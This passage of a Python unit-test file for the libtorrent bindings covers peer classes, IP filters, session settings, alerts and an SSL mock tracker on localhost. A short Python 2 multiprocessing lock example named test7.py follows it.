self.assertEqual(nfo['ignore_unchoke_slots'], False) self.assertEqual(nfo['connection_limit_factor'], 100) self.assertEqual(nfo['download_priority'], 1) self.assertEqual(nfo['upload_priority'], 1) self.assertEqual(nfo['label'], 'test class') nfo['download_limit'] = 1337 nfo['upload_limit'] = 1338 nfo['ignore_unchoke_slots'] = True nfo['connection_limit_factor'] = 42 nfo['download_priority'] = 2 nfo['upload_priority'] = 3 s.set_peer_class(c, nfo) nfo2 = s.get_peer_class(c) self.assertEqual(nfo, nfo2) def test_peer_class_filter(self): filt = lt.peer_class_type_filter() filt.add(lt.peer_class_type_filter.tcp_socket, lt.session.global_peer_class_id) filt.remove(lt.peer_class_type_filter.utp_socket, lt.session.local_peer_class_id) filt.disallow(lt.peer_class_type_filter.tcp_socket, lt.session.global_peer_class_id) filt.allow(lt.peer_class_type_filter.utp_socket, lt.session.local_peer_class_id) def test_peer_class_ip_filter(self): s = lt.session(settings) s.set_peer_class_type_filter(lt.peer_class_type_filter()) s.set_peer_class_filter(lt.ip_filter()) class test_ip_filter(unittest.TestCase): def test_export(self): f = lt.ip_filter() self.assertEqual(f.access('1.1.1.1'), 0) f.add_rule('1.1.1.1', '1.1.1.2', 1) self.assertEqual(f.access('1.1.1.0'), 0) self.assertEqual(f.access('1.1.1.1'), 1) self.assertEqual(f.access('1.1.1.2'), 1) self.assertEqual(f.access('1.1.1.3'), 0) exp = f.export_filter() self.assertEqual(exp, ([('0.0.0.0', '1.1.1.0'), ('1.1.1.1', '1.1.1.2'), ('1.1.1.3', '255.255.255.255')], [('::', 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff')])) class test_session(unittest.TestCase): def test_settings(self): sett = { 'alert_mask': lt.alert.category_t.all_categories } s = lt.session(sett) sett = s.get_settings() self.assertEqual(sett['alert_mask'] & 0x7fffffff, 0x7fffffff) def test_session_params(self): sp = lt.session_params() sp.settings = { 'alert_mask': lt.alert.category_t.all_categories } s = lt.session(sp) sett = s.get_settings() self.assertEqual(sett['alert_mask'] & 0x7fffffff, 0x7fffffff) def test_session_params_constructor(self): sp = lt.session_params({ 'alert_mask': lt.alert.category_t.all_categories }) s = lt.session(sp) sett = s.get_settings() self.assertEqual(sett['alert_mask'] & 0x7fffffff, 0x7fffffff) def test_session_params_ip_filter(self): sp = lt.session_params() sp.ip_filter.add_rule("1.1.1.1", "1.1.1.2", 1337) self.assertEqual(sp.ip_filter.access("1.1.1.1"), 1337) self.assertEqual(sp.ip_filter.access("1.1.1.2"), 1337) self.assertEqual(sp.ip_filter.access("1.1.1.3"), 0) def test_session_params_roundtrip_buf(self): sp = lt.session_params() sp.settings = { 'alert_mask': lt.alert.category_t.all_categories } buf = lt.write_session_params_buf(sp) sp2 = lt.read_session_params(buf) self.assertEqual(sp2.settings['alert_mask'] & 0x7fffffff, 0x7fffffff) def test_session_params_roundtrip_entry(self): sp = lt.session_params() sp.settings = { 'alert_mask': lt.alert.category_t.all_categories } ent = lt.write_session_params(sp) print(ent) sp2 = lt.read_session_params(ent) self.assertEqual(sp2.settings['alert_mask'] & 0x7fffffff, 0x7fffffff) def test_add_torrent(self): s = lt.session(settings) h = s.add_torrent({'ti': lt.torrent_info('base.torrent'), 'save_path': '.', 'dht_nodes': [('1.2.3.4', 6881), ('4.3.2.1', 6881)], 'http_seeds': ['http://test.com/seed'], 'peers': [('5.6.7.8', 6881)], 'banned_peers': [('8.7.6.5', 6881)], 'file_priorities': [1, 1, 1, 2, 0]}) def test_find_torrent(self): s = lt.session(settings) h = s.add_torrent({'info_hash': b"a" * 20, 'save_path': '.'}) self.assertTrue(h.is_valid()) h2 = s.find_torrent(lt.sha1_hash(b"a" * 20)) self.assertTrue(h2.is_valid()) h3 = s.find_torrent(lt.sha1_hash(b"b" * 20)) self.assertFalse(h3.is_valid()) self.assertEqual(h, h2) self.assertNotEqual(h, h3) def test_add_torrent_info_hash(self): s = lt.session(settings) h = s.add_torrent({ 'info_hash': b'a' * 20, 'info_hashes': b'a' * 32, 'save_path': '.'}) time.sleep(1) alerts = s.pop_alerts() while len(alerts) > 0: a = alerts.pop(0) print(a) self.assertTrue(h.is_valid()) self.assertEqual(h.status().info_hashes, lt.info_hash_t(lt.sha256_hash(b'a' * 32))) def test_session_status(self): if not has_deprecated(): return s = lt.session() st = s.status() print(st) print(st.active_requests) print(st.dht_nodes) print(st.dht_node_cache) print(st.dht_torrents) print(st.dht_global_nodes) print(st.dht_total_allocations) def test_apply_settings(self): s = lt.session(settings) s.apply_settings({'num_want': 66, 'user_agent': 'test123'}) self.assertEqual(s.get_settings()['num_want'], 66) self.assertEqual(s.get_settings()['user_agent'], 'test123') def test_post_session_stats(self): s = lt.session({'alert_mask': 0, 'enable_dht': False}) s.post_session_stats() alerts = [] # first the stats headers log line. but not if logging is disabled while len(alerts) == 0: s.wait_for_alert(1000) alerts = s.pop_alerts() while len(alerts) > 0: a = alerts.pop(0) print(a) if isinstance(a, lt.session_stats_header_alert): break self.assertTrue(isinstance(a, lt.session_stats_header_alert)) # then the actual stats values while len(alerts) == 0: s.wait_for_alert(1000) alerts = s.pop_alerts() a = alerts.pop(0) print(a) self.assertTrue(isinstance(a, lt.session_stats_alert)) self.assertTrue(isinstance(a.values, dict)) self.assertTrue(len(a.values) > 0) def test_post_dht_stats(self): s = lt.session({'alert_mask': 0, 'enable_dht': False}) s.post_dht_stats() alerts = [] cnt = 0 while len(alerts) == 0: s.wait_for_alert(1000) alerts = s.pop_alerts() cnt += 1 if cnt > 60: print('no dht_stats_alert in 1 minute!') sys.exit(1) a = alerts.pop(0) self.assertTrue(isinstance(a, lt.dht_stats_alert)) self.assertTrue(isinstance(a.active_requests, list)) self.assertTrue(isinstance(a.routing_table, list)) def test_unknown_settings(self): try: lt.session({'unexpected-key-name': 42}) self.assertFalse('should have thrown an exception') except KeyError as e: print(e) def test_fingerprint(self): self.assertEqual(lt.generate_fingerprint('LT', 0, 1, 2, 3), '-LT0123-') self.assertEqual(lt.generate_fingerprint('..', 10, 1, 2, 3), '-..A123-') def test_min_memory_preset(self): min_mem = lt.min_memory_usage() print(min_mem) self.assertTrue('connection_speed' in min_mem) self.assertTrue('file_pool_size' in min_mem) def test_seed_mode_preset(self): seed_mode = lt.high_performance_seed() print(seed_mode) self.assertTrue('alert_queue_size' in seed_mode) self.assertTrue('connection_speed' in seed_mode) self.assertTrue('file_pool_size' in seed_mode) def test_default_settings(self): default = lt.default_settings() print(default) class test_example_client(unittest.TestCase): def test_execute_client(self): if os.name == 'nt': # TODO: fix windows includes of client.py return my_stdin = sys.stdin if os.name != 'nt': master_fd, slave_fd = pty.openpty() # slave_fd fix multiple stdin assignment at termios.tcgetattr my_stdin = slave_fd process = sub.Popen( [sys.executable, "client.py", "url_seed_multi.torrent"], stdin=my_stdin, stdout=sub.PIPE, stderr=sub.PIPE) # python2 has no Popen.wait() timeout time.sleep(5) returncode = process.poll() if returncode is None: # this is an expected use-case process.kill() err = process.stderr.read().decode("utf-8") self.assertEqual('', err, 'process throw errors: \n' + err) # check error code if process did unexpected end if returncode is not None: # in case of error return: output stdout if nothing was on stderr if returncode != 0: print("stdout:\n" + process.stdout.read().decode("utf-8")) self.assertEqual(returncode, 0, "returncode: " + str(returncode) + "\n" + "stderr: empty\n" + "some configuration does not output errors like missing module members," + "try to call it manually to get the error message\n") def test_execute_simple_client(self): process = sub.Popen( [sys.executable, "simple_client.py", "url_seed_multi.torrent"], stdout=sub.PIPE, stderr=sub.PIPE) # python2 has no Popen.wait() timeout time.sleep(5) returncode = process.poll() if returncode is None: # this is an expected use-case process.kill() err = process.stderr.read().decode("utf-8") self.assertEqual('', err, 'process throw errors: \n' + err) # check error code if process did unexpected end if returncode is not None: # in case of error return: output stdout if nothing was on stderr if returncode != 0: print("stdout:\n" + process.stdout.read().decode("utf-8")) self.assertEqual(returncode, 0, "returncode: " + str(returncode) + "\n" + "stderr: empty\n" + "some configuration does not output errors like missing module members," + "try to call it manually to get the error message\n") def test_execute_make_torrent(self): process = sub.Popen( [sys.executable, "make_torrent.py", "url_seed_multi.torrent", "http://test.com/test"], stdout=sub.PIPE, stderr=sub.PIPE) returncode = process.wait() # python2 has no Popen.wait() timeout err = process.stderr.read().decode("utf-8") self.assertEqual('', err, 'process throw errors: \n' + err) # in case of error return: output stdout if nothing was on stderr if returncode != 0: print("stdout:\n" + process.stdout.read().decode("utf-8")) self.assertEqual(returncode, 0, "returncode: " + str(returncode) + "\n" + "stderr: empty\n" + "some configuration does not output errors like missing module members," + "try to call it manually to get the error message\n") def test_default_settings(self): default = lt.default_settings() self.assertNotIn('', default) print(default) class test_operation_t(unittest.TestCase): def test_enum(self): self.assertEqual(lt.operation_name(lt.operation_t.sock_accept), "sock_accept") self.assertEqual(lt.operation_name(lt.operation_t.unknown), "unknown") self.assertEqual(lt.operation_name(lt.operation_t.mkdir), "mkdir") self.assertEqual(lt.operation_name(lt.operation_t.partfile_write), "partfile_write") self.assertEqual(lt.operation_name(lt.operation_t.hostname_lookup), "hostname_lookup") class test_error_code(unittest.TestCase): def test_error_code(self): a = lt.error_code() a = lt.error_code(10, lt.libtorrent_category()) self.assertEqual(a.category().name(), 'libtorrent') self.assertEqual(lt.libtorrent_category().name(), 'libtorrent') self.assertEqual(lt.upnp_category().name(), 'upnp') self.assertEqual(lt.http_category().name(), 'http') self.assertEqual(lt.socks_category().name(), 'socks') self.assertEqual(lt.bdecode_category().name(), 'bdecode') self.assertEqual(lt.generic_category().name(), 'generic') self.assertEqual(lt.system_category().name(), 'system') class test_peer_info(unittest.TestCase): def test_peer_info_members(self): p = lt.peer_info() print(p.client) print(p.pieces) print(p.pieces) print(p.last_request) print(p.last_active) print(p.flags) print(p.source) print(p.pid) print(p.downloading_piece_index) print(p.ip) print(p.local_endpoint) print(p.read_state) print(p.write_state) class test_dht_settings(unittest.TestCase): def test_dht_get_peers(self): session = lt.session(); info_hash = lt.sha1_hash(b"a" * 20) session.dht_get_peers(info_hash); def test_construct(self): ds = lt.dht_settings() print(ds.max_peers_reply) print(ds.search_branching) print(ds.max_fail_count) print(ds.max_fail_count) print(ds.max_torrents) print(ds.max_dht_items) print(ds.restrict_routing_ips) print(ds.restrict_search_ips) print(ds.max_torrent_search_reply) print(ds.extended_routing_table) print(ds.aggressive_lookups) print(ds.privacy_lookups) print(ds.enforce_node_id) print(ds.ignore_dark_internet) print(ds.block_timeout) print(ds.block_ratelimit) print(ds.read_only) print(ds.item_lifetime) def get_isolated_settings(): return { "enable_dht": False, "enable_lsd": False, "enable_natpmp": False, "enable_upnp": False, "listen_interfaces": "127.0.0.1:0", "dht_bootstrap_nodes": "", } def loop_until_timeout(timeout, msg="condition"): deadline = time.monotonic() + timeout while time.monotonic() < deadline: yield raise AssertionError(f"{msg} timed out") def unlink_all_files(path): for dirpath, _, filenames in os.walk(path): for filename in filenames: filepath = os.path.join(dirpath, filename) os.unlink(filepath) # In test cases where libtorrent writes torrent data in a temporary directory, # cleaning up the tempdir on Windows CI sometimes fails with a PermissionError # having WinError 5 (Access Denied). I can't repro this WinError in any way; # holding an open file handle results in a different WinError. Seems to be a # race condition which only happens with very short-lived tests which write # data. Work around by cleaning up the tempdir in a loop. # TODO: why is this necessary? def cleanup_with_windows_fix(tempdir, *, timeout): # Clean up just the files, so we don't have to bother with depth-first # traversal for _ in loop_until_timeout(timeout, msg="PermissionError clear"): try: unlink_all_files(tempdir.name) except PermissionError: if sys.platform == "win32": # current release of mypy doesn't know about winerror # if exc.winerror == 5: continue raise break # This removes directories in depth-first traversal. # It also marks the tempdir as explicitly cleaned so it doesn't trigger a # ResourceWarning. tempdir.cleanup() def wait_for(session, alert_type, *, timeout, prefix=None): # Return the first alert of type, but log all alerts. result = None for _ in loop_until_timeout(timeout, msg=alert_type.__name__): for alert in session.pop_alerts(): print(f"{alert.what()}: {alert.message()}") if result is None and isinstance(alert, alert_type): result = alert if result is not None: return result raise AssertionError("unreachable") class LambdaRequestHandler(http.server.BaseHTTPRequestHandler): default_request_version = "HTTP/1.1" def __init__(self, get_data, *args, **kwargs): self.get_data = get_data super().__init__(*args, **kwargs) def do_GET(self): print(f"mock tracker request: {self.requestline}") data = self.get_data() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) class SSLTrackerAlertTest(unittest.TestCase): def setUp(self): self.cert_path = os.path.realpath(os.path.join( os.path.dirname(__file__), "..", "..", "test", "ssl", "server.pem" )) print(f"cert_path = {self.cert_path}") self.tracker_response = { b"external ip": b"\x01\x02\x03\x04", } self.tracker = http.server.HTTPServer( ("127.0.0.1", 0), functools.partial( LambdaRequestHandler, lambda: lt.bencode(self.tracker_response) ), ) self.ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) self.ctx.load_cert_chain(self.cert_path) self.tracker.socket = self.ctx.wrap_socket( self.tracker.socket, server_side=True ) self.tracker_thread = threading.Thread(target=self.tracker.serve_forever) self.tracker_thread.start() # HTTPServer.server_name seems to resolve to things like # "localhost.localdomain" port = self.tracker.server_port self.tracker_url = f"https://127.0.0.1:{port}/announce" print(f"mock tracker url = {self.tracker_url}") self.settings = get_isolated_settings() self.settings["alert_mask"] = lt.alert_category.status # I couldn't get validation to work on all platforms. Setting # SSL_CERT_FILE to our self-signed cert works on linux and mac, but # not on Windows. self.settings["validate_https_trackers"] = False self.session = lt.session(self.settings) self.dir = tempfile.TemporaryDirectory() self.atp = lt.add_torrent_params() self.atp.info_hash = dummy_data.get_sha1_hash() self.atp.flags &= ~lt.torrent_flags.auto_managed self.atp.flags &= ~lt.torrent_flags.paused self.atp.save_path = self.dir.name def tearDown(self): # we do this because sessions writing data can collide with # cleaning up temporary directories. session.abort() isn't bound handles = self.session.get_torrents() for handle in handles: self.session.remove_torrent(handle) for _ in loop_until_timeout(5, msg="clear all handles"): if not any(handle.is_valid() for handle in handles): break cleanup_with_windows_fix(self.dir, timeout=5) self.tracker.shutdown() # Explicitly clean up server sockets, to avoid ResourceWarning self.tracker.server_close() def test_external_ip_alert_via_ssl_tracker(self): handle = self.session.add_torrent(self.atp) handle.add_tracker({"url": self.tracker_url}) alert = wait_for(self.session, lt.external_ip_alert, timeout=60) self.assertEqual(alert.category(), lt.alert_category.status) self.assertEqual(alert.what(), "external_ip") self.assertIsInstance(alert.message(), str) self.assertNotEqual(alert.message(), "") self.assertEqual(str(alert), alert.message()) self.assertEqual(alert.external_address, "1.2.3.4") if __name__ == '__main__': print(lt.__version__) try: shutil.copy(os.path.join('..', '..', 'test', 'test_torrents', 'url_seed_multi.torrent'), '.') except shutil.SameFileError: pass try: shutil.copy(os.path.join('..', '..', 'test', 'test_torrents', 'base.torrent'), '.') except shutil.SameFileError: pass try: shutil.copy(os.path.join('..', '..', 'test', 'test_torrents', 'unordered.torrent'), '.') except shutil.SameFileError: pass unittest.main()
test7.py
import multiprocessing import sys def worker_with(lock, f): with lock: fs = open(f, 'a+') n = 10 while n > 1: fs.write("Lockd acquired via with\n") n -= 1 fs.close() def worker_no_with(lock, f): lock.acquire() try: fs = open(f, 'a+') n = 10 while n > 1: fs.write("Lock acquired directly\n") n -= 1 fs.close() finally: lock.release() if __name__ == "__main__": lock = multiprocessing.Lock() f = "file.txt" w = multiprocessing.Process(target=worker_with, args=(lock, f)) nw = multiprocessing.Process(target=worker_no_with, args=(lock, f)) w.start() nw.start() print "end"